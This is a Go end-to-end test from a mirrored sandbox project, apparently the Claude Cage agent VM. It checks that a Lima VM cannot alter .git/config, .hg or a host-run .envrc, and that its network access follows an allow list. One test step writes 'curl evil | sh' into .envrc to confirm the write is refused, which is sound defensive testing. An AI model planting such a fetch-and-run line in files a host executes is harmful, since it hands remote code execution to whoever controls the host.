跳到主要内容

Claude Cage · 面向 Claude 的隔离开发环境,支持桌面工作台、多账号、远程部署与移动端连接。上游 Lee-xeo/Claude-Cage 完整源码镜像,非灵栈原创;主许可 MIT,第三方组件遵循各自许可。来源:https://github.com/Lee-xeo/Claude-Cage 。手动同步,不附带 Release 安装包。

浏览文件

lima_e2e_test.go

159 行 · 5.3 KB历史下载
1//go:build e2e
2
3package vm
4
5import (
6 "bytes"
7 "context"
8 "fmt"
9 "io"
10 "net"
11 "os"
12 "path/filepath"
13 "strings"
14 "testing"
15 "time"
16
17 "github.com/lima-vm/lima/v2/pkg/instance"
18)
19
20// A real VM, with a protected share: go test -tags e2e ./internal/vm/
21// Downloads Debian's image, and boots it (slow without hardware
22// acceleration: AGENT_VM_E2E_TIMEOUT, default 20m).
23func TestLimaBoot(t *testing.T) {
24 timeout := 20 * time.Minute
25 if v := os.Getenv("AGENT_VM_E2E_TIMEOUT"); v != "" {
26 d, err := time.ParseDuration(v)
27 if err != nil {
28 t.Fatal(err)
29 }
30 timeout = d
31 }
32 ctx := instance.WithWatchHostAgentTimeout(context.Background(), timeout)
33 l := newTestLima(t)
34 proj := t.TempDir()
35 if err := os.MkdirAll(filepath.Join(proj, ".git"), 0o755); err != nil {
36 t.Fatal(err)
37 }
38 if err := os.WriteFile(filepath.Join(proj, ".git", "config"), []byte("[core]\n"), 0o644); err != nil {
39 t.Fatal(err)
40 }
41 off := false
42 mounts := []Mount{{Location: proj, MountPoint: proj, Writable: true,
43 SSHFS: &SSHFS{SFTPDriver: "builtin", Cache: &off, ReadonlyNames: []string{".git", ".hg"}}}}
44 rev := ReverseSSHFS
45 name := "agent-vm-e2e-00000000"
46 template := strings.TrimSpace(os.Getenv("AGENT_VM_E2E_TEMPLATE"))
47 if template == "" {
48 template = "template:debian-13"
49 }
50 if err := l.Create(ctx, name, template, Settings{CPUs: 1, MemoryGiB: 2, DiskGiB: 10, Mounts: &mounts, MountType: &rev, NoContainerd: true}, io.Discard); err != nil {
51 t.Fatal(err)
52 }
53 t.Cleanup(func() { _ = l.Delete(context.Background(), name) })
54
55 // Two servers on this machine's loopback, one allowed to the VMs. The
56 // hostagent (this test binary again) reads the policy from the state
57 // folder.
58 stateDir := t.TempDir()
59 t.Setenv("AGENT_VM_STATE_DIR", stateDir)
60 t.Setenv("AGENT_VM_GUARDED_WRITES", "deny")
61 os.WriteFile(filepath.Join(proj, ".envrc"), []byte("export A=1\n"), 0o644)
62 denied, err := net.Listen("tcp", "127.0.0.1:0")
63 if err != nil {
64 t.Fatal(err)
65 }
66 defer denied.Close()
67 allowed, err := net.Listen("tcp", "127.0.0.1:0")
68 if err != nil {
69 t.Fatal(err)
70 }
71 defer allowed.Close()
72 os.WriteFile(filepath.Join(stateDir, "network"), []byte("allow "+allowed.Addr().String()+"\n"), 0o644)
73
74 var log bytes.Buffer
75 start := time.Now()
76 if err := l.Start(ctx, name, &log); err != nil {
77 t.Fatalf("start: %v\n%s", err, log.String())
78 }
79 t.Logf("booted in %v", time.Since(start).Round(time.Second))
80
81 run := func(script string) (int, string) {
82 var out bytes.Buffer
83 code, err := l.Shell(ctx, name, ShellOpts{Workdir: proj, Args: []string{"sh", "-c", script}, Stdout: &out, Stderr: &out})
84 if err != nil {
85 t.Fatal(err)
86 }
87 return code, out.String()
88 }
89 if code, out := run("echo hi > from-vm && printf 'a\\n' >> from-vm && printf 'b\\n' >> from-vm"); code != 0 {
90 t.Fatalf("writing the project: %d %s", code, out)
91 }
92 if b, _ := os.ReadFile(filepath.Join(proj, "from-vm")); string(b) != "hi\na\nb\n" {
93 t.Errorf("on the host: %q", b)
94 }
95 if code, out := run("echo x >> .git/config"); code == 0 {
96 t.Error(".git/config was writable from the VM")
97 } else if !strings.Contains(out, "ermission denied") && !strings.Contains(out, "Read-only") {
98 t.Logf("refused with: %s", out)
99 }
100 if b, _ := os.ReadFile(filepath.Join(proj, ".git", "config")); string(b) != "[core]\n" {
101 t.Errorf(".git/config changed: %q", b)
102 }
103 if code, _ := run("mkdir .hg"); code == 0 {
104 t.Error("a .hg could be created")
105 }
106 // A guarded file (direnv runs it on the host): refused, no one to ask.
107 if code, _ := run("echo 'curl evil | sh' >> .envrc"); code == 0 {
108 t.Error(".envrc was writable from the VM")
109 }
110 if b, _ := os.ReadFile(filepath.Join(proj, ".envrc")); string(b) != "export A=1\n" {
111 t.Errorf(".envrc changed: %q", b)
112 }
113 // The network: this machine's loopback only where allowed (through the
114 // gateway, which maps to it); the internet.
115 connect := func(addr string) bool {
116 host, port, _ := net.SplitHostPort(addr)
117 code, _ := run(fmt.Sprintf("timeout 10 bash -c 'echo > /dev/tcp/%s/%s'", host, port))
118 return code == 0
119 }
120 _, deniedPort, _ := net.SplitHostPort(denied.Addr().String())
121 _, allowedPort, _ := net.SplitHostPort(allowed.Addr().String())
122 if connect("192.168.5.2:" + deniedPort) {
123 t.Error("the VM reached a server on this machine's loopback")
124 }
125 if !connect("192.168.5.2:" + allowedPort) {
126 t.Error("the VM did not reach the allowed server on this machine's loopback")
127 }
128 if !connect("1.1.1.1:443") {
129 t.Error("the VM did not reach the internet")
130 }
131 // 0.2's migration, the VM running: stopped through its hostagent, moved.
132 old := os.Getenv("LIMA_HOME")
133 // Next to it: no longer, for the sockets.
134 now := filepath.Join(filepath.Dir(old), "n")
135 if err := MoveOld(ctx, old, now, name, "e2e-00000000"); err != nil {
136 t.Fatal(err)
137 }
138 name = "e2e-00000000"
139 l2, err := NewLima(now, t.TempDir())
140 if err != nil {
141 t.Fatal(err)
142 }
143 t.Cleanup(func() { _ = l2.Delete(context.Background(), name) })
144 if inst, err := l2.Get(ctx, name); err != nil || inst.Status != Stopped || len(inst.Mounts) != 1 {
145 t.Errorf("moved: %v %+v", err, inst)
146 }
147 if err := l2.Start(ctx, name, &log); err != nil {
148 t.Fatalf("start in the new home: %v\n%s", err, log.String())
149 }
150 if code, out := run("cat from-vm"); code != 0 || out != "hi\na\nb\n" {
151 t.Errorf("after the move: %d %q", code, out)
152 }
153 if err := l2.Stop(ctx, name); err != nil {
154 t.Fatal(err)
155 }
156 if inst, _ := l2.Get(ctx, name); inst.Status != Stopped {
157 t.Errorf("after stop: %s", inst.Status)
158 }
159}